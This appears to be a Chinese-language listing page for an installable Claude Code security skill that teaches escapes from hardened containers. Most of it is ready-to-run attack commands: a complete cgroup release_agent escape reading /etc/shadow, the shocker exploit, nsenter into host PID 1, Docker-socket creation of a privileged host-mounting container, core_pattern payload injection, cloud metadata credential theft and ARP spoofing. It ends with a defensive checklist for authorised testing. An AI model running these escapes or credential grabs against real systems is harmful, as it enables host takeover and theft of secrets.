mcpField
E
escaping-hardened-containers

escaping-hardened-containers

github.com/trilwu安全17748 次安装12 周前更新
代码仓库

关于 escaping-hardened-containers

用于评估加固容器逃逸路径的安全测试技能,面向授权测试人员,涵盖能力、seccomp、命名空间、文件系统、运行时及沙箱检查,并提供防御审查清单。

主要功能

  1. 01能力与 seccomp 分析
  2. 02命名空间和 cgroup 逃逸路径
  3. 03挂载套接字与文件系统检查
  4. 04运行时 CVE 和沙箱评估
  5. 05防御加固审查清单

适用场景

  1. 01在授权测试中评估加固容器
  2. 02检查能力配置和 seccomp 缺口
  3. 03审查容器运行时与沙箱风险

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/trilwu/secskills --skill escaping-hardened-containers

安装后在 Claude Code 中输入/escaping-hardened-containers确认已加载。

详细介绍

逃逸加固型容器

网上记载的大多数容器逃逸都假设启用了 --privileged。真正的工作始于容器已经加固之后——seccomp 已启用,能力已丢弃,显而易见的路径也已被阻断。剩余的攻击面更小,但并非为零;单项能力或文件系统挂载往往就足以实现逃逸。

仅可针对你获准测试的系统。

适用场景

  • 容器未启用特权模式,但仍保留一项或多项有价值的能力(CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH、CAP_NET_RAW)
  • seccomp 配置文件处于启用状态,并阻止了常见的逃逸系统调用——你需要确认仍有哪些调用被允许
  • 已启用 AppArmor 或 SELinux 强制执行,你需要找出配置文件中的缺口
  • 目标运行于 gVisor(runsc)或 Kata Containers,你需要使用针对沙箱的技术
  • 你已发现 hostPath 挂载、host PID 命名空间或已挂载的套接字,但容器其他方面都已锁定
  • 即使经过加固,仍可能适用运行时 CVE(runc、containerd、CRI-O)

不适用场景

  • 通用特权容器逃逸和 Kubernetes 基础滥用——使用 exploiting-containers
  • 托管 Kubernetes 集群层级攻击(EKS、GKE、AKS)——使用 attacking-eks-gke-aks
  • 逃逸后进行主机级权限提升——使用 escalating-linux-privileges

能力枚举

首先要检查能力。保留的单项能力就可能足以实现完整逃逸。

# Full capability dump
capsh --print

# From procfs when capsh is not installed
grep Cap /proc/self/status
# Decode the hex bitmask
capsh --decode=$(grep CapEff /proc/self/status | awk '{print $2}')

# Quick check for the capabilities that matter most
# CAP_SYS_ADMIN  - mount, unshare, bpf, cgroup writes
# CAP_SYS_PTRACE - attach to host-namespace processes (with hostPID)
# CAP_DAC_READ_SEARCH - open_by_handle_at, read any file
# CAP_NET_RAW    - raw sockets, ARP spoofing, network pivoting
# CAP_SYS_MODULE - load kernel modules (rare but instant root)
# CAP_SYS_RAWIO  - iopl/ioperm, raw disk I/O

CAP_DAC_READ_SEARCH——容易被忽略的一项。 它授予 open_by_handle_at(),可完全绕过挂载命名空间隔离。 shocker 漏洞利用会利用此能力,通过暴力破解 inode 句柄来读取主机文件系统中的任意文件。

# shocker PoC: reads /etc/shadow from the host
# Requires: CAP_DAC_READ_SEARCH
./shocker /etc/shadow

Seccomp 配置文件分析

# Check if seccomp is enforced (2 = filter mode, 1 = strict, 0 = disabled)
grep Seccomp /proc/self/status

# Dump the active filter (requires kernel 4.4+ and CONFIG_SECCOMP_FILTER)
cat /proc/self/seccomp_filter 2>/dev/null

# Use seccomp-tools to decompile the BPF filter
seccomp-tools dump /proc/self/seccomp_filter

Docker 的默认 seccomp 配置文件会阻止约 44 个系统调用。主要被阻止的调用包括 mount、unshare、pivot_root、reboot、kexec_load 和 init_module。但它允许 ptrace、process_vm_readv 和大多数套接字操作。

自定义配置文件往往会留下漏洞。 常见缺口包括:

  • 允许 unshare——配合 CAP_SYS_ADMIN 可创建新的命名空间
  • 允许 mount——可发动文件系统覆盖攻击
  • 允许 bpf——eBPF 程序可读取内核内存
  • 允许 userfaultfd——可用于利用竞态条件
  • 允许 keyctl——可访问内核密钥环,其中有时存有机密
# Test whether a specific syscall is available
# If blocked, the process gets SIGKILL or EPERM
python3 -c "import ctypes; ctypes.CDLL(None).syscall(272)"  # unshare = 272

命名空间逃逸

CAP_SYS_ADMIN + unshare

如果具有 CAP_SYS_ADMIN 且 seccomp 未阻止 unshare,就可以创建新的用户命名空间和挂载命名空间,以访问主机文件系统。

# Create new mount namespace and mount the host block device
unshare -m /bin/sh -c 'mount /dev/sda1 /mnt && ls /mnt'
hostPID + CAP_SYS_PTRACE

当 Pod 规格中设置了 hostPID: true 时,/proc 会显示主机进程。 配合 CAP_SYS_PTRACE,可向主机进程注入代码。

# Find a root process on the host
ps auxf | head -20

# Attach and inject
nsenter --target 1 --mount --uts --ipc --net --pid -- /bin/bash

# Or via /proc/1/root -- the host root filesystem
ls -la /proc/1/root/etc/shadow
cat /proc/1/root/etc/shadow
未启用 CAP_SYS_PTRACE 的 hostPID

即使没有 ptrace,hostPID 也会泄露主机进程的环境变量和命令行,其中往往包含机密。

cat /proc/1/environ | tr '\0' '\n'
for p in /proc/[0-9]*/cmdline; do cat "$p" | tr '\0' ' '; echo; done 2>/dev/null | grep -i pass

Cgroup 逃逸

Cgroup v1 release_agent

使用 cgroup v1 时,对于具有 CAP_SYS_ADMIN 的容器,这是经典的逃逸方式。当 cgroup 中最后一个进程退出时,release_agent 会在主机上运行。

# Find a writable cgroup mount
mount | grep cgroup

# Full escape sequence
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w
echo 1 > $d/w/notify_on_release
t=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$t/cmd" > $d/release_agent
echo "#!/bin/sh" > /cmd
echo "cat /etc/shadow > $t/output" >> /cmd
chmod +x /cmd
sh -c "echo 0 > $d/w/cgroup.procs"
sleep 1
cat /output
Cgroup v2 和设备控制器

Cgroup v2 移除了 release_agent。剩余的攻击面是基于 eBPF 的设备策略(需要 bpf())和可写的设备控制器:

# If devices cgroup controller is writable
echo 'a *:* rwm' > /sys/fs/cgroup/devices/docker/<id>/devices.allow
mknod /dev/sda b 8 0
mount /dev/sda /mnt

基于文件系统的逃逸

已挂载的 Docker 套接字
# The most common misconfiguration even in "hardened" containers
ls -la /var/run/docker.sock /run/docker.sock 2>/dev/null

# Without the docker CLI, use curl over the unix socket
curl -s --unix-socket /var/run/docker.sock http://localhost/containers/json | python3 -m json.tool

# Create a privileged container that mounts the host root
curl -s --unix-socket /var/run/docker.sock -X POST \
  -H "Content-Type: application/json" \
  -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/host"],"Privileged":true}' \
  http://localhost/containers/create
主机文件系统挂载

任何 hostPath 挂载都可能成为逃逸途径。常见情况包括:

# Check all mount points
mount | grep -vE 'proc|sys|cgroup|tmpfs'
cat /proc/self/mountinfo

# Writable host paths to look for:
# /var/log         - write cron jobs via log injection
# /var/run         - sockets (docker, containerd)
# /etc             - write to crontab, shadow, authorized_keys
# /var/lib/kubelet - kubelet credentials and config
# /home            - SSH keys, shell configs
/proc/sys/kernel/core_pattern

如果 /proc/sys 以可写方式挂载(或主机挂载包含该路径):

# core_pattern with pipe: kernel runs the specified program when a process
# crashes, as root on the host
echo '|/path/on/host/payload.sh' > /proc/sys/kernel/core_pattern
# Then crash a process to trigger it
/proc/sysrq-trigger

如果该路径可写,就能触发内核功能(大多会导致 DoS)。echo b 会重启系统,echo c 会使系统崩溃并生成内存转储。

特定运行时的漏洞

runc CVE

CVE-2024-21626(Leaky Vessels)——runc 中的文件描述符泄漏漏洞,允许容器在启动期间通过 /proc/self/fd/ 访问主机文件系统。影响 runc < 1.1.12。

# Detection: check runc version
runc --version 2>/dev/null
# On the host: runc is typically at /usr/bin/runc or /usr/sbin/runc

该漏洞利用方式是将容器的工作目录设置为指向主机文件系统的泄漏文件描述符。攻击者需要能够构建或影响容器镜像。

CVE-2019-5736——利用 runc 加入容器命名空间时的 /proc/self/exe 覆盖主机上的 runc 二进制文件。需要能够在容器中执行命令(例如,docker exec)。

containerd / CRI-O

CVE-2022-23648(containerd)——通过引用主机路径的镜像配置 VOLUME 指令读取任意主机文件。

CVE-2022-0811(CRI-O,cr8escape)——通过 --infra-ctr-cpuset 注入内核参数,进而在主机上执行代码。检查运行时版本:crictl version 2>/dev/null。

沙盒绕过

gVisor(runsc)

gVisor 在容器与主机内核之间插入用户空间内核(Sentry)。其攻击面有所不同:

  • Sentry 实现了部分 Linux 系统调用。未支持的系统调用会失败,但已支持的系统调用可能存在实现漏洞。
  • 不直接与内核交互意味着传统内核漏洞利用无法奏效。
  • 文件操作经由 Gofer 进程处理,该进程对主机的访问权限有限。
  • 重点关注:Sentry 漏洞、Sentry TCP/IP 协议栈中的网络漏洞,以及逃逸到 Gofer 进程。
# Detect gVisor
dmesg 2>/dev/null | head -5  # gVisor has distinctive boot messages
uname -r  # gVisor reports its own version string
cat /proc/version  # look for "gVisor" or "runsc"
Kata Containers

Kata 会在轻量级虚拟机中运行每个容器,其威胁模型从根本上有所不同:

  • 从容器逃逸到主机需要利用虚拟机逃逸漏洞(QEMU/Cloud Hypervisor 漏洞)。
  • 攻击面包括虚拟机监控程序、virtio 设备,以及虚拟机内的 Kata Agent。
  • 客户机到主机的文件共享(virtio-fs / 9pfs)是最可能存在弱点的环节。
  • 如果配置了主机网络命名空间共享,就会暴露主机网络。

容器到主机的网络攻击

主机网络命名空间

设置 hostNetwork: true 时,容器会完全共享主机的网络协议栈。

ip addr   # host interfaces, not veth pairs
ss -tlnp  # host listening services -- look for kubelet (10250), etcd (2379)
元数据服务访问

无论容器加固情况如何,云元数据端点(169.254.169.254)都可以访问。网络策略是唯一的缓解措施。

curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/          # AWS
curl -s -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/    # GCP
curl -s -H "Metadata: true" "http://169.254.169.254/metadata/instance?api-version=2021-02-01"  # Azure
利用 CAP_NET_RAW 进行 ARP 欺骗

拥有 CAP_NET_RAW 时,可通过 ARP 欺骗拦截 Pod 到 Pod 或 Pod 到网关的流量:arpspoof -i eth0 -t <target_ip> <gateway_ip>。

防御性审查清单

审查已加固的容器部署时,请确认:

  1. Capabilities——仅授予最低限度的能力集;不包含 CAP_SYS_ADMIN、CAP_SYS_PTRACE、CAP_DAC_READ_SEARCH
  2. Seccomp——应用自定义配置文件(而非仅使用 Docker 默认配置);阻止 unshare、mount、bpf、userfaultfd
  3. LSM——已加载并处于强制执行模式的 AppArmor 或 SELinux 配置文件,而非仅仅存在
  4. Namespaces——hostPID、hostNetwork、hostIPC 均为 false
  5. 文件系统——没有 hostPath 挂载;未挂载 Docker 套接字;/proc/sys 为只读
  6. 运行时——runc、containerd 和 CRI-O 均已安装针对已知 CVE 的补丁
  7. 网络——NetworkPolicy 禁止访问元数据服务(169.254.169.254);Pod 间流量已隔离
  8. 根目录只读——已设置 readOnlyRootFilesystem: true;可写路径使用带有 noexec 的 tmpfs

应当驳斥的合理化说法

  • “我们移除了所有能力。” 检查实际生效的集合,而不是配置。Kubernetes 会默认添加一些能力,而且初始化容器或边车容器的配置可能与主容器不同。
  • “Seccomp 已启用。” Docker 默认配置文件仍允许 ptrace、大多数套接字操作以及 process_vm_readv。必须使用针对应用调整过的自定义配置文件。
  • “我们运行 gVisor,因此容器逃逸不适用。” gVisor 缩小了内核攻击面,但也引入了自身的攻击面:Sentry 漏洞、Gofer 逃逸,以及不完整的系统调用接口,这些在边缘情况下可能会故障放行。
  • “没有 hostPath 挂载。” 检查挂载的密钥目录、权限过大的服务账号令牌,以及在不同特权级别容器之间共享的 emptyDir 卷。
  • “运行时已打补丁。” 补丁状态只是某个时间点的情况。CVE-2024-21626 影响 runc 多年后才被披露。请确认具体版本,不要相信“我们会保持更新”这种说法。
  • “AppArmor 正在强制执行。” 查看实际配置文件。许多部署使用 runtime/default 或 unconfined。如果某个配置文件允许 mount、ptrace 和原始网络访问,即使它存在,也没有起到任何有用的强制执行作用。
  • “容器只有 CAP_NET_RAW,这没什么危害。” CAP_NET_RAW 可用于 ARP 欺骗、Pod 之间的 DNS 投毒,以及访问元数据服务的原始套接字。这并非无害。

ATT&CK 覆盖范围

由 secskills-core/ttp-index.json 生成——编辑该文件,然后运行 python3 scripts/sync_attack.py --write。在报告中引用 ID 之前,请根据 当前的 ATT&CK 版本重新核实。

权限提升(TA0004)

  • T1611 逃逸到主机——另请参阅 exploiting-containers

针对上述任一项的检测内容:engineering-detections。主动搜寻:hunting-threats。失陷后处置:responding-to-incidents。

参考资料

  • exploiting-containers -- 容器逃逸与 Kubernetes 滥用技术基线
  • attacking-eks-gke-aks -- 托管 Kubernetes 集群层面的攻击
  • escalating-linux-privileges -- 逃逸后在主机层面提升权限
  • engineering-detections -- 为容器逃逸指标构建检测规则

评论

支持 Markdown